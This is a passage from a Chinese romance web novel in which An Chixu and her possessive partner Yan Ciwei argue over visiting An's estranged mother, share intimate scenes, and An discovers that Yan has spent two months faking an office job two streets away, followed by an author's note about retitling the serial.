“不要去,团团。”晏辞微看懂了。 离别后她比先前更急切。若是放在两个月以前,晏辞微不会这样快的开口。 开口就是妥协,她败在安迟叙的睫毛下,想要用头发围成护栏,把安迟叙困住。 安迟叙反而看清倒映她眼里的光,一手抓住她的手腕。 “你怎么总觉得我要和你作对呢?”安迟叙默默地想,好像她们之间更没有安全感的,是晏辞微。 晏辞微不明所以,歪着头看向安迟叙。 安迟叙不开口,不就是想要去见安予笙?那,如何不是在和自己作对? 她发丝都淋在安迟叙脸上,遮了她半边脸。 安迟叙干脆闭上眼,忍着晏辞微的刺挠。 “我没有说要给她交手术费,住院费。也没有说要帮她照顾小孩。安绾瑶的事我已经拒绝过两次,没有第三次。” 安迟叙想的很清楚。 她要是真傻,真没得到过爱,缺爱就像干涸的鱼,那可能真的会续上这一笔费用,只为安予笙施舍的一点点和母爱形似的东西。 她若是那般可怜,之前也不会如此决绝的拉黑安予笙,在饭店和她吵架,之后再把跟她有关,无辜又讨厌的安绾瑶也丢出自己的世界了。 她到底不是真的一个人摸爬滚打长大。 她还有她的妈咪呢。 安迟叙尝过浓烈又无私的爱,所以知道,安予笙给的那一点,哪儿是爱。 “我只是想去看看。可能和她吵一架,可能听她哀求再走开。”这也是某种爽。 安迟叙想晏辞微一定会明白。她们都有过这种心理,丑陋又真实。 “别去!”晏辞微却因为她一番话重了语气。 眼里细微的光闪烁一瞬,转而沉寂。 “团团,不要去,好不好?不可以一直陪在我身边吗?”声音也跟着柔和起来。是死一般的温柔。 安迟叙叹息一声。“姐姐,妈咪。你不是我的选择题。” 她没有要选择安予笙,不要晏辞微。 没有要选择让自己受害,不留在炽热的爱这边。 家庭代际里的女儿病症往往最轻。安迟叙体会了第三次。 晏辞微比她病的重多了。只是以前她没能看清。 晏辞微怔怔,无光的眼看向安迟叙。 而后开口,没有音调变化。“你要是真想帮她的话,我可以直接给她账户打钱。你只要别出面就好。她会在别人面前诋毁你,会用道德和亲缘关系绑架你,会让你受伤的。” 安迟叙第一次感觉,其实晏辞微和她一样。 都有些呆,像猫。蹲坐在原地只会傻傻望着主人,歪歪头,想的还是十天前被这人踢的仇,其实主人只是起夜花了眼。 安迟叙捏住晏辞微的脸揪了下。 晏辞微有些莫名,掌上安迟叙的手拧起眉头。 安迟叙却顺势捧住她的手腕,掌心贴合,与她十指相扣。 “我不会给她打钱的。姐姐,过去两年每年我都给她打过一笔。当年她找回我给我钱,我也没有收过。” 安迟叙说的慢又静。是小猫在用头轻轻拱人肚皮,表达无声,谁都该明白。 “我给她的够多了。血缘关系没法用金钱偿还,可我也不想再继续了。姐姐,她是成年人。我也是。我们都要为自己的选择负责。” “她选择和遇少微用伤害自己的方式置气,选择要安绾瑶来气这个毫无关系的陌生人,那也该在选择之时就想到,养大一个孩子有多不容易。后来她选择回家休息不去换工作赚钱,到现在没钱做手术,都是她自己应得的后果。” “这是她自己的事,不应该和我有关。我选择去医院看她,但不给她钱,也是我自己的事。有什么后果我也想清楚了。” 现在晏辞微来了。安予笙不会有那个能力强行留下安迟叙。安迟叙也不会给安予笙这个机会。 所以她只是想过,去看安予笙一眼。不一定是抱着怜悯的目的。 “你的事就是我的事。”晏辞微扭紧安迟叙的手腕,意外的用上些力。 “……我不是这个意思。晏辞微,我只是想要你相信我。”安迟叙不自觉的带上些失望,语气生硬。 听得晏辞微桃花眼忽闪,眸光发痛,红如血。 她重重的沉沉的死死的盯着安迟叙。 一动也不动。 她整个人都是程序铸造的雕像,指令错误,就会卡在原地,化作死灰。 安迟叙松一口气,不去紧晏辞微的手腕,任她囚着自己,而后用没被掣肘的左手,搂住晏辞微的腰。 左手还有晏辞微的两枚戒指呢。 一枚刻着mommy,一味的把爱烙在安迟叙身上。 一枚安迟叙还没来得及拆,想来总藏了晏辞微的心机。 戒指摩擦过晏辞微的背脊。她们都还没来得及穿衣服呢。肌 肤被凉银滚过,一阵阵的激灵刺激着晏辞微。 真是一个不及格的安抚。晏辞微眼眶含着泪,却没再执拗,伸手抱住安迟叙,和她一同躺了下去。 “不说了。”不急。安迟叙相信晏辞微总有一天会明白的。 她们那么执着的要和彼此在一起。怎么会有迈不过去的坎? “不说了。姐姐。今天不吵架。”安迟叙抱紧晏辞微。 晏辞微牢牢扣住她的肩膀,尖指甲扎下去又松开,换做指腹施力,做着无用功,没有留下一道伤痕。 “不吵。”许久,晏辞微才开口,抚过安迟叙的头发,一点一点把被子给她盖上,亲吻她的额头。 “睡觉吧,我的团团。好不容易可以一起。”晏辞微自己的背还露在外面呢。 安迟叙拱了她几下和她嬉笑出声,然后抓着被角,把她们两个一起团起来。 安迟叙的呼吸均匀后,晏辞微又看了她好久。 好像晏辞微还是那个偷偷跟着安迟叙的人,只能在不被允许的暗夜里潜入她的房间。 借着一抹迷蒙的月光看她一整宿,再在黎明前离开,不留一丝痕迹。 晏辞微伸手,悄悄的,轻轻的。抚摸过安迟叙的睫毛。 安迟叙往她的方向无意识靠近。 晏辞微闭上眼,钻入安迟叙的怀抱,紧紧攥着她的手。 第一次,暴露她百分之一的不安。 …… 半夜安迟叙起夜,看见手腕上多了一条红绳。 像那件碎了的婚服的赠品,或者是拿婚服腰带做的。轻薄的质感绑着手都没感觉。 只是安迟叙抬手发现红绳并没有系紧。只是被晏辞微攥在掌心。 晏辞微意外靠在她怀里,讨奶的孩子一样贴着她的胸脯,另一只手痴恋她的腰,紧密相贴。 安迟叙快去快回。回来就见晏辞微缩成很小一团,猫一样可怜,被子都罩不住她的孤独。 安迟叙借了抹月光,把红绳系在晏辞微手腕,然后给自己也套上。 扣着晏辞微的手,把她搂进怀里。 学她过去,揉着她的背。 再次相拥而眠。 * * * 翌日睁眼,手腕上的红绳已经被解开了。 怀里的温度很浅很浅,好像晏辞微没有在这儿蜷缩一晚上。 她们没有谁是真正的猫,连毛都不会留下。 安迟叙躺了会儿想找到晏辞微脆弱的证明,刨了好几下被子,把床弄得一团乱。 后来又想何必去拆晏辞微的台。她能给出一个拥抱就好,就起了身。 衣服也不知道什么时候被晏辞微换过。 安迟叙扭了下,是她最近常穿的一件。 “姐姐?”安迟叙没看见晏辞微,没听见声音,唤了一声,穿着拖鞋下床。 她快步出卧室才听见厨房传来的炒菜声,愣在原地,好大的叹了口气。 都这么难受了,还要坚持照顾她。 安迟叙在慢慢的明白晏辞微的行为来自匮乏的安全感,却不知道自己该怎么做才好。 她们许过愿,发过誓。她收了她的戒指,穿了她的婚服。 只差一个证而已。安迟叙撇着嘴计算要不要给晏辞微求个婚,这么一想自己又没有戒指能送,只得把这件事往后稍稍,先找个机会悄悄去看戒指。 走向晏辞微时,安迟叙又想。似乎问题也不在她的态度上。 很多时候晏辞微会臆想她的逃亡,可能是后遗症,可能幻病。 安迟叙打开厨房门伸手抱住晏辞微。 晏辞微将就她冰箱里剩的菜,炒了个牛肉河粉。 “还有一刻钟,团团宝。去洗漱。”脆弱的晏辞微消失了。 她变回了小猫的好妈妈,此刻擦过手,转身揉揉安迟叙的头。 “你太辛苦了。”安迟叙没动,抱着她的腰扭了会儿,亲亲晏辞微的耳垂。 “昨天我们明明……”她们闹腾一天多,晏辞微身上酸胀,情绪又不好,还强撑着起来给自己做早饭。 安迟叙干脆趁晏辞微这一秒的走神,吻上她的唇,按着她后退。 悄悄,拿过她手里的锅铲。 “团团……”晏辞微又起了情绪,但比以前更好一点,没有直接抢。 可能她心情很杂很乱,可能是想通安迟叙长大了。 晏辞微只是抱着安迟叙,头趴在她肩膀上。 桃花眼没有光,失落如淋了雨。 她好像被抛弃的无辜小狗,尾巴耳朵一起耷拉。 “心疼你,姐姐。”安迟叙快速翻炒了几下,把放在旁边的肉加进去。 “我哪儿也不去。只是不想你这么累,好吗?” 很多事她都能做,也可以接受晏辞微的照顾。但这样的情况,她也想替晏辞微分担。 晏辞微不适应,她们可以慢慢来。 安迟叙说完这句话,晏辞微果然不开口了,手臂慢慢收紧,扣着安迟叙的腰。 头贴的很沉,整个灵魂的重量好像都压在安迟叙小小一方肩膀上。 安迟叙不是宽肩,骨架大是整体而言,但整体比例还挺可爱的,难免让人觉得乖巧。 相对来说她肩膀挺窄,承不了高压,理应什么都不担,叫人好生呵护。 可出乎意料的,安迟叙抗住了晏辞微施的压。 软、硬,晏辞微都失败了。 她松开安迟叙有些迷茫,被炒好菜的安迟叙抱了个满怀。 “好了姐姐,凉一下我们一起吃。”安迟叙抬起手,用袖口擦过晏辞微的脸。 晏辞微本能的跟着她出了厨房才反应过来,自己眼角沾的,是泪。 * * * “你……今天要去看安予笙吗?” 吃过早饭,见安迟叙收东西要出门,晏辞微双手叠在身前,小心翼翼的像个佣人,发问的声音都小了。 “看情况吧。又不急。早点回来一起追剧,今天晚上更新。” 安迟叙都没再想安予笙的事,朝晏辞微伸出手,想把她拉过来。 “不和我一起上班吗?”见晏辞微不为所动,安迟叙反而心揪了一下。 她以为,她们这次重新回到彼此身边,会甜蜜如初,一切都好…… 毕竟她们那么爱彼此。分开也要想尽办法爬到对方身边。 果然生活,总没有那么顺遂。 晏辞微可算笑了,上前一步按住安迟叙翘起来的衣领。 “又不是??我开的公司,怎么陪你一起上班啊?” 她问的一本正经的,好像之前跟了爱人两个月的人不是她一样。 安迟叙也笑出声了,挠挠她手臂。“姐姐~你要是想,怎么会来不了。” 晏辞微总有那么多不知道哪儿来的朋友、人脉。c市企业没那么多,发展普普通通,安迟叙不信晏辞微进不来。 可晏辞微没再回话。 她抿着笑含着柔情,桃花眼深邃,扫过安迟叙的五官,在她唇峰稍作停留。 而后按着她衣角整理。 从衣领,整理到裙摆。 再蹲下给她勉好袜子边,擦掉皮靴上染的尘埃。 安迟叙乖乖蹲回她的位置,一动不动,只有眼跟着晏辞微的动作。 也把自己扫描了一遍。 晏辞微比之前更温柔,更体贴。 似乎也更纯粹。 她给安迟叙整理好仪表,连吻都没有给,在门口望着安迟叙离家,像个独守空巢的母亲。 安迟叙走到楼道口回望,只隐隐约约,看见一抹花影。 眨眼就没了,像崩塌的雕像。 * * * 安迟叙迟到了。 迟到扣一百,她干一天也就两百。安迟叙躺在座位上发懒,鱼吐泡泡一样,咕噜噜的。 杜知棠和两个同事路过,见怪不怪。 隔会儿她们交完材料回来,今天上级领导全部出去开会了,办公室没人管,公司三层楼都充斥着闲散氛围。 杜知棠也闲,拉了个椅子坐安迟叙旁边,要跟她唠嗑。 安迟叙随便拿了袋果干出来招待。 “这牌子很贵吧?安姐,你以前干什么的,是不是还挺有家产?”杜知棠摸了两口。 饭搭子听见有吃的赶了过来,几个人要把公司开成下午茶。 安迟叙也就翻了下肚皮。“没有啊。只是攒了一点。” 家产有没有不知道。看情况安予笙完全指望不上,遇少微赚的估计都交家用贴给景桐和俩小孩了。 但她有个好爱人。 果干是晏辞微之前寄给她的礼物之一。合着那袋开封过的巧克力一起。 聊了会儿杜知棠眼尖,看见安迟叙手上多了个戒指,又想八卦。 “我过段时间可能要辞职。”安迟叙突然来了一句,打断她们的思路。 “啊?”几个朋友一起探头探脑,这下大家都注意到她无名指上的戒指了。 “回老家结婚生子?” “继承家业?” “真找到有钱有闲的好工作了?” 安迟叙听笑了,嫌她们烦,给她们摸果干的手一人打了一下。“回原来的公司干。消耗青春。” “不是说之前那个很累吗?好像是个什么娱乐公司?”杜知棠和安迟叙一起面试,知道的最多。 “是累。但有意义。”安迟叙想也不一定要回策划岗位。 她想正经走一下面试,也许试试晏辞微以前给她定好的岗位。 也许不回s市,回四九城。 总之要看晏辞微要留在哪里发展。 安迟叙已经是无根的小猫。她的家在晏辞微身上。 两次逃离并非不愿意和晏辞微在一起。只是不想受控。 “钱也多。一个月奖金起码抵这儿干半年。”想到要走,安迟叙到底有些舍不得这些朋友。 这一去,不一定会再回c城了。 总会有新朋友的。安迟叙又把果干推过去,让大家分了。 “离职交接也要一个月吧?岂不是这两天就得写?”饭搭子跟杜知棠抢完,问了句。 “那还得再看看。”安迟叙不想在和晏辞微解决好她们问题之前成为无业游民。 想来想去她好像还在怕晏辞微的圈养,可能她自己也还得再磨一磨意志。 杜知棠多留了会儿,望着安迟叙手上的戒指暗示。 安迟叙故意抬起手转动。 就逗这个想问又开不了口的小姑娘。 杜知棠的眼随着安迟叙戒指上下,一分钟后才觉得不对,看向安迟叙满头问号。 “你自己……买的?”杜知棠小心翼翼发问。 “不是。我家的死鬼死回来了。”安迟叙眼疾手快给杜知棠塞了袋坚果贿赂她。 杜知棠表情很精彩。碍于手里的坚果和刚刚的果干,说不出话。 “姐你不厚道。”憋了半天就憋出这一句。 安迟叙笑出声。“我还真没说过她死了,只是之前分了,她不来找我。” 杜知棠认栽,拆开坚果,小松鼠一样吃着。 “真办婚礼了,到时候请你,记得来啊。”安迟叙弯弯眼给她画饼。 “那你酒席得找好的,我要把你吃垮。”杜知棠赌气。 安迟叙满口答应。 以前梦中的婚礼是无人的教堂,飞扬的白鸟,彩色的云和满是鲜花的丛林。 是她和晏辞微成为私奔的眷侣,演完狗血剧本后坚定的走向彼此,在夕阳下结合,无需旁人祝福。 如今的婚礼少了这些少年时期的幻想,多了些具体。 安迟叙想找一家傍水的餐厅。也不用多隆重的仪式,和亲朋好友一起吃顿饭。 她可能会邀请景桐,可能会邀请杜知棠。也许还有何语檐、慕风她们。 要不要把沈既白什么的也喊上呢? 安迟叙望着空当发呆。杜知棠自知打扰,拿着坚果离开,回到自己工位以后疯狂和饭搭子吐槽起来。 * * * 一直到下班,安迟叙都没感觉到晏辞微的视线。 她今天都没挪窝,时不时还要打开手机看一眼。 晏辞微一点消息都没有,也不知道摄像头好不好使。 安迟叙沉了沉情绪,提着包打卡,步子没有以前快。 路上也没听见晏辞微的脚步,回过头也不见晏辞微的眼。 周遭一抹红都没有,摄像头都死死发着黑。 安迟叙多花五分钟,在路上发呆。 她手机响了下,急忙拿起。 看见是安予笙新号码发来的消息,叹息一声,关掉手机。 打开门就闻到天竺葵的味道。 安迟叙伸出手,晏辞微抱住她,头埋进她脖颈深呼吸。 “姐姐。”她们九点分开,五点半才又见面。 接近九个小时的分别这么难熬。 安迟叙被晏辞微搂着眼角都在发酸,吸一吸鼻子,要把自己揉进晏辞微怀里。 安迟叙不敢想以后正式回归工作。 其实也不是不能理解晏辞微的圈养。 “我想你。”安迟叙圈着晏辞微的脖颈,蹭过晏辞微的脸颊。 碎发融在一起打着卷。晏辞微接过安迟叙身上太杂的味道。 “三个人。”晏辞微只靠闻就知道安迟叙今天和多少人接触过。 她拿起毛巾使劲揉过安迟叙的头,重新给她发尾洒上天竺葵的香水。 “朋友和同事。今天领导不在,玩嗨了。”安迟叙捏捏晏辞微的手。 晏辞微的病症是更重了。以前还会跟着她看着她,吃醋吃的光明正大,不开心就拦住。现在也不出门,宁可留在家里偷偷发酸,也不去找她。 “姐姐呢?”安迟叙有些忧心,牵着晏辞微的手,锁上门进房间。 “一整天都没出去吗?”她带着晏辞微在沙发上坐下,眼尖发现家里被整理了一遍。 安迟叙伸手去看桌上摆的东西。 “……没用过的,不知道你要不要,就收出来了。”晏辞微哑着嗓子,解释也很低沉。 她把安迟叙住的地方全方位打扫了一遍,将自己的痕迹重新挨个留下。 像没有安全感的狗,一定要自己的气息充盈整个家。 把主人也包裹。 “你没乱丢呢。”安迟叙清点过,收了大概一半走,是没来得及拆封,会用到的。 剩下的确实不用了。要不是晏辞微整理,她都注意不到的那种。 “我不知道。” 安迟叙把东西放回原位时,听见小小一声。 很轻很轻。回过头晏辞微却不在她身后跟着。 安迟叙顿了动作仔细回忆,竟也辨不出这声音从何而来。 是晏辞微坐的客厅?还是晏辞微在的脑海? 安迟叙迟疑着把东西放好,赶回沙发。 晏辞微呆坐着,见她回来才活过来。 抱紧她。 “不开心吗?姐姐。”明明回来找她了。 安迟叙掌住晏辞微的手臂,把她搂进怀里。 晏辞微比她更迫切,蜷缩着赖进她的怀抱。 头贴着她的胸口,听她平稳有力的心跳。 “没有。”好半晌才狡辩。 头发都被安迟叙理顺了,才干巴巴冒出两个字。 “白天想来找我的话,也可以来啊。我工作不忙,基本上混日子,没事做。”安迟叙顺着晏辞微的发丝,给她从干爽摸腻。 然后低声轻哄,嘴唇几乎落在她额头。 晏辞微蹭着她当点头,张开嘴一个声音发不出来。 ——什么时候跟我回家? 晏辞微把这句话咽下去,呕出来。 咽下去,呕出来。 咀嚼到只剩腐败的酸。 也没能问出来。 她知道这么问,安迟叙会讨厌她,离开她。 像那个冬天,她执拗的带安迟叙离开s市,绑着她飞往四九城。 安迟叙在凉夜穿着红装不管不顾的逃跑。要她追整整五座城市,才重新拥抱在一起。 快三年过去。晏辞微的某一部分也好像被留在了失败的订婚宴上。 她依旧是那个执着的站在台子上等待的可怜人。 孤零零的痴等那个不会出现的奇迹,僵了身子,傻了脑子。 她不想安迟叙再离开她。 如果她们再经历分别,又该多痛? 这两个月剜肉的苦她已经承受不住。 可……如果她不问安迟叙什么时候回。 那她们什么时候回家呢? 现在的安迟叙长大了。 还会跟她一起回家吗? “你在上班。”晏辞微唇瓣颤抖了好一阵才回了安迟叙。 “那你呢?”安迟叙的灰眸好沉啊。 盯着晏辞微时,模糊的颜色透不出光,慢慢被晏辞微的身影染黑。 晏辞微仰起头就哑了口,她有一万句,一千句想说。 到头来什么也说不出来。 “我就在家里就好。”在家她可以假装安迟叙还在身边。 可以在充满安迟叙气息的地方随便一躺。 闭上眼就是安宁。恍惚间还能听见少年稚嫩的声音,贴着她的耳朵悄悄喊。 ——姐姐,今天放学吃什么? 晏辞微想回到十六岁。安迟叙才认识她,一无所有的小猫只会粘着她在校园角落悄悄牵手。 或者十八岁。安迟叙会跟在她身后抱着她问s市是什么样的,出行要怎么走。 或者二十岁。安迟叙会肆无忌惮的吻着她,和她一起在日光下漫步,任她安排去向,只要在一起就好。 睁眼是二十五岁的安迟叙。 十一月一号还有两天就到了。她认识团团真的有十年了。 十六岁的晏辞微觉得一切都会变好。 她已经离开最厌恶的地方,前路只有顺利,阻碍她的人事物她会一个接一个的铲除。 即将二十六岁的晏辞微眨眼只剩白茫。 有些事似乎不是努力就能做到的。 或者说,她该往哪儿努力? 她今天这么乖的呆在家里。安迟叙依旧跟她一起不开心了。 二十五岁的安迟叙伸手盖住晏辞微发红的眼,轻轻擦去眼角的泪。 “你不会今天一直在家里吧?”安迟叙声音带着犹豫。 她不知道晏辞微病症在哪儿,也就不知道如何下手。 她好像一个焦虑的医生,看见病人倒在面前痛的快死了,检查仪器却说她哪儿都没有问题。 “公司呢?没去吗?我看你之前那么忙,天天好多事。又是开会又是签字还要做决策,回家都不安宁。” 安迟叙一直以为,日安集团在c城也有分部。 晏辞微这两个月是在分部上班,就为了自己。 反正她是董事长的千金,出了名的任性,权限大可以随便调动。 晏辞微不说话了,抿嘴就是如常的笑。好像刚刚安迟叙偷窥的疼痛只是假象。 “姐姐?”安迟叙心跳也停了一拍。 忽然被晏辞微的手捧住。 晏辞微的手如蛇,两下缠住安迟叙的脖颈,攀上她的身,亲吻她的唇。 突兀又缠绵。晏辞微吻得腻,不管不顾的把唇瓣送过去,给安迟叙咬。 安迟叙本能的尝了起来,抱住她的腰接受这个转移话题的吻。把舌头也碰过去,交付自己。 第一次换气的时候,安迟叙才反应过来,晏辞微只是不想答她的问题。 于是吻换做咬。 轻轻的,给这个不开口的姐姐最坏的惩罚。 安迟叙竟也在同一时间,被晏辞微咬了一口。 牙齿碰在一起,这下真有点疼,震得心底也发麻。 晏辞微比安迟叙先反应过来,亲住她的牙齿、牙龈。慢慢搂着她向下,把咬重新变成吻。 不该有怨气的。 晏辞微边吻边抚摸安迟叙的脸。 这是她最爱的人。都回来了。不要求那么多。 安迟叙却没那么大度。 吃晚饭的时候她舔过被咬破的嘴角,忽然开口。 “我明天晚上要去看安予笙。会回来晚一点。” 她说的太快,说话时眼睛放在碗里,没对上晏辞微的黑眼仁。 晏辞微怔了好一会儿,捏着筷子的手指发白。 面上的菜都有点凉了,她才默默嗯了一声。 安迟叙瞧着她的模样,心下叹气。 * * * 洗完澡,安迟叙看见床上摆着一捆绳子。 是专门的那种,不会把人摩擦得很疼,也不能系很紧,好解开。 旁边还躺了一只能震动的。 安迟叙坐在床上研究这两个东西,一时间没弄清楚,晏辞微是想玩什么。 终于要让她躺了? 晏辞微唯一允许安迟叙放肆的事不过这一件。 即便如此,大多数时候都是晏辞微规定如何。 安迟叙没有索求过更多的玩法。她只要亲上晏辞微的身体就够开心了。 她们这么多年也都这样过来,不会腻,每一次都很好。 晏辞微也洗完,搭着浴巾靠过来,搂住安迟叙,从她手里接过那一段绳子。 安迟叙往她怀里靠,手都伸出来了。 绑着也可以啊。她有嘴,手也落在身前。就是没那么灵活。 安迟叙有些许说不出的期待。 她和晏辞微是互相调jiao。 她能忍晏辞微掌控那么多年,打心底她就没有很厌恶这种事。 心跳有点加速。安迟叙见晏辞微没动,还蹭了她一下。 “你来。”而晏辞微,只是自己把绳索缠上。 好像这绳子是条听话的蛇。游动间流遍晏辞微全身,将她彻底禁锢。 “要怎么样?”安迟叙懵懂的翻了过去,被晏辞微引导着,捏住末尾的一端。 “缠。不会吗?”晏辞微轻笑着,手已经没了自由,还能将就着抚过安迟叙的指尖。 教她。 “还是团团不喜欢这样?”见安迟叙迟疑,晏辞微勾过她的锁骨。 明晃晃的引you。 “不喜欢把姐姐捆起来,然后为所欲为吗?” 她们是没有这样过。但前两天安迟叙开心到疯,晏辞微纵着她闹,也没什么差别。 “不难受吗?”安迟叙听令开始,拂过晏辞微的可怜。 昨天可是一天一夜。 今天该休息的。 可晏辞微都这么做,这么说。 安迟叙怎么可能忍得住。 “团团给的。姐姐很喜欢。bang紧一点。”晏辞微指挥着。 怕她的乖猫不敢。一句一句的引导,叫她调整到最好的方式。 “交叉过去,大胆去就好。姐姐没那么柔弱。” “或者……能被团团弄伤,我只会很。”她没说最后两个字。 是撩着安迟叙低头,与她吻在一起。 晏辞微就算没了活动的自由,成为束fu的美学雕塑,一副任人宰割的模样,淌着泪红了脸,翘着嘴角。 也依旧主导。 安迟叙尝着亲手包装的礼物,不得不承认别有一番风味。 毕竟,晏辞微隐藏的那两个字是。 舒服。 她求安迟叙好好虐她。 * * * 安迟叙挺生疏的,慢慢的在学。晏辞微也不催,柔和的望着她。 她今天扮演羔羊,还要教她的侩子手如何下刀。 动弹不得也能用呼吸挑起安迟叙的碎发。 后面安迟叙终于有点开窍了。 晏辞微却累了,不太能陪她继续。 就被她咬了几口,硬是按着。 一次才结束。 “今天就该休息的。”安迟叙没尽兴,多少有些不快。 晏辞微手臂活动几下,挂在安迟叙身上,哼哼唧唧的应着。 “你明天……”晏辞微稍微开口。又被安迟叙咬了两口。 “怎么了?”安迟叙怪凶的龇牙,抓住晏辞微带着红痕的手臂。 “乖,继续咬。”晏辞微闭上眼没再提。 好不容易让安迟叙忘了安予笙,一提帮她想起来,白费力气。 “这么喜欢?”安迟叙真对着她身上的暧昧咬了几口。 “疼。”晏辞微哂出声,好宠溺。 * * * 安迟叙是翌日下午才想明白,晏辞微昨夜的异样是为何。 不想她去看安予笙。 可她在餐桌上,只是在骗晏辞微。 因为晏辞微的反应太奇怪。对待她蹑手蹑脚的小心。哪儿有相爱快十年,谈也谈了七年的样子。 没想到只让晏辞微更怯了些。 还出这种下策。 安迟叙调出之前的截图。 她不会去找安予笙的。说到底之前提及,也只是拿安予笙当例子,想告诉晏辞微她现在的想法。 安迟叙看着晏辞微的“办公室”,左看右看了会儿,是觉得有点不对。 不像日安集团。 晏辞微下班的路当然也不是s市。只可能是c市。 似乎就是安迟叙公司在的这片工业园区。但具体在哪儿,安迟叙认不出来。 就找杜知棠帮忙。 杜知棠没认出来,安迟叙干脆发给了遇少微。 遇少微接到消息受宠若惊,十分积极。 【有点像宁街的那个写字楼。我给你搜一下发来。】遇少微不愧在c城混了几十年,对这片地区很了解。 给的楼确实对上了截图。 安迟叙用了高清修复软件,修出了晏辞微在的楼层。 没下班就走了,早退又扣一百,今天继续白干。 她到大楼前就知道,这儿不可能是日安集团的分部,装潢、logo都不一样。 也不是日安集团控股的子公司。 那,晏辞微这两个月一直在这儿做什么? 安迟叙拧着眉上楼,依旧是25楼。晏辞微对这层楼估计情有独钟。 25楼被包了起来,只有一间办公室。一切都打造的和s市那间经理办公室相仿。 安迟叙心里有了一个离谱的猜测。 她步子都轻了,生怕弄出声响这个猜测会碎在地上,成真。 一步走一步停的,挪到了办公室门口。 她打开。 门没有上锁。 里面是这两个月,晏辞微演给她看的舞台。 仿造的办公室。无人的会议室。一模一样的构筑。 两个月以来晏辞微都在安迟叙两条街之隔的地方假装上班。 演给她,只为等她某一天打开摄像头。 “被你发现了呢。”晏辞微的声音忽然出现在安迟叙身后。 轻飘飘的凉。 好像鬼泣—— 作者有话说:修了哦~新增五千八百字~大家刷新一下就能看见了! 都说了我们晏辞微是真的鬼[撒花] 昨天写完“你不是我的选择题”这句话,就冒出了下半句“你是我的必修课”。挺贴的,之后找机会写进正文~ 关于改文名,这事真的很神奇……我大半夜被吵醒了本来半梦半醒迷迷糊糊的,还没打算爬起来,脑子一直在自己放东西,像那种清醒梦,突然蹦出来一个《从豪门大小姐手中领养自己》,真的跟弹窗一样突兀,显眼。我就der一下坐起来记录,感觉很贴,就改了文名。文案也跟着修了。但这两周打算上个榜,可能还会根据榜单涨幅修一下文案文名。 总之这个封面会用到正文完结~正文完结了会换,大家认准封面or青柠养乐多就好~ 第72章 第 72 章 迟来的生长痛 安迟叙的肩膀被晏辞微抱住。 从背后。这是她们最熟悉最习惯, 也是最喜欢的方式。 仲秋不冷不热。晏辞微的拥抱却凉如水。 她包裹住安迟叙也给不了温暖,只有一阵阵刺骨的寒意慢慢渗透到安迟叙的背。 安迟叙不怕冷。背上的寒凉甚至有些舒适。 阴湿的气息是陪伴她多年的霉菌,叫人厌烦, 可看见就有些安心, 好像回到了伊始的家乡。 c城和s市都潮湿,都有霉菌。安迟叙早已习惯它们的存在。 安迟叙呼吸松弛。任晏辞微一点点收紧一个怀抱,环绕她的身体,水一般从四方勒住她。 先是臂膀,再是头发。 晏辞微微卷的发落在安迟叙耳畔, 扫过肩膀, 垂在她胸前。 她们一致的黑发融成同一片。不分彼此。 黑发好像还带着水汽。丝丝缕缕的不蓬松。 安迟叙抬头看向窗外, 这才注意到阴云密布。c市下起小雨, 连绵着即将持续好几天。 两座家乡最大的不同在梅雨季。s市在夏, c城在秋。 安迟叙刚好要经历完整的两个梅雨季。 25岁这一年她的世界只剩阴雨,霉菌的腐烂与天竺葵混在一起。 “团团。”晏辞微终于开口。 她抱着安迟叙把安迟叙身上的味道都吃尽。 旁人的香水,一路的烟火……晏辞微不挑剔,边吃边反胃, 作呕也要继续。 直到安迟叙身上只剩她的天竺葵, 她才缓缓咬住安迟叙的耳垂,亲昵着。 顺手把旁边的休息室门锁上。 安迟叙注意到晏辞微的动作。 想起她们在s市的日安集团办公室, 晏辞微也总锁着休息室。 上锁是别样的勾.引。安迟叙好奇得心痒。 比心更痒的是晏辞微的咬。 晏辞微在很轻很轻的咬她。从耳垂咬到下颚, 然后是她来得早不曾沾染风雨的肩膀。 她的咬太温柔,以至于一开始安迟叙把它当作了吻,回过头想对上晏辞微的眼, 讨一个真正的亲昵。 这才看明白是咬。晏辞微又在生她的气。 安迟叙忍不住轻哂。 咬痛重了点,安迟叙干脆往后倒。 晏辞微当然接住她。她本来就在晏辞微怀里了。 晏辞微抱着将她带到“会客”用的沙发,按下去。 绵密的吻不比窗外的雨稀疏。 晏辞微也许发泄了恨, 也许舍不得安迟叙痛。把咬都换回亲吻。一寸一寸折磨着安迟叙的肌肤。 安迟叙勾住晏辞微的脖颈。一声嘤.咛。 晏辞微停顿着低头,只看见安迟叙平日灰蒙蒙的眼透着秋水的亮。 这是一份邀请。 安迟叙在想她。 “姐姐。”安迟叙看着她亮红的痣,痴笑着,没有理会方才的咬。 晏辞微的火气是她自己的课题。恨也好,爱也罢。都只属于晏辞微一个人。 安迟叙已经不再被她影响。她的爱纯粹的好像这一年不断的阴雨。 晏辞微第一次觉得,阴雨也很可人。 不再淋痛她的皮肤,扎入她的骨肉。 只是形成一个浅浅的拥抱。 “要不要试试?”安迟叙想了很久了。 她撩过晏辞微不断垂落的黑发也没阻止地心引力。黑发沾着水,偶尔滴在她衣服上。 她衣服刚好脏了呢。她的姐姐,难道没有一点想? 总拒绝她。她们重逢之前还有过反,重逢以来大半年,晏辞微一次都没有让着她。 晏辞微撑在安迟叙上方,手臂微颤。 “以前……只有这件事,想让你做主。”她俯身捧住安迟叙的脸,又一次拒绝。 比以往更温柔。像生死本身。 她留给安迟叙唯一的自我。 以前本能的不想夺走。 如今有了克制的意识,更不愿意剥夺。 “没关系的。”只是xing而已。安迟叙都不怕了。 “可是,现在我想慢慢给你更多。”晏辞微一句话几乎没有声音。 她好不容易说出口,自己也不知道怎么回事。明明是好事。 她在母亲那里知道了她们世代相传的过错,在妈咪那里看见了过错不可忍受的后果。 所以她想改正。万幸她的团团没有因此抛弃她,还愿意陪伴她变好。 可说出来,怎么会这么痛? 晏辞微眼角滑过泪光,无意识的眨眼,水落在安迟叙锁骨上。 也不知道安迟叙听见没有。晏辞微捧住她的头,只给了她吻。 吻一个接一个,像阴冷的雨。 不断打在安迟叙身上。 安迟叙紊乱呼吸,承受着晏辞微的一切。 疼也好。冷也好。阴气也好。 安迟叙包容比水盛。 就好像…… 裴绮玲。 晏辞微干脆放弃了控制,任眼泪飞在安迟叙身上,将就着亲吻她。 愈发疯狂。 她真的找到了她的裴绮玲。 却是那个愿意等着她,陪着她长大。她从来都没有过的。 妈咪。 无条件的爱,羊水般的包容让晏辞微有些过敏。 却为之疯狂。 …… 激烈的吻把天都抹黑了。 两个人拥抱着再起身,窗外已只见灯火。 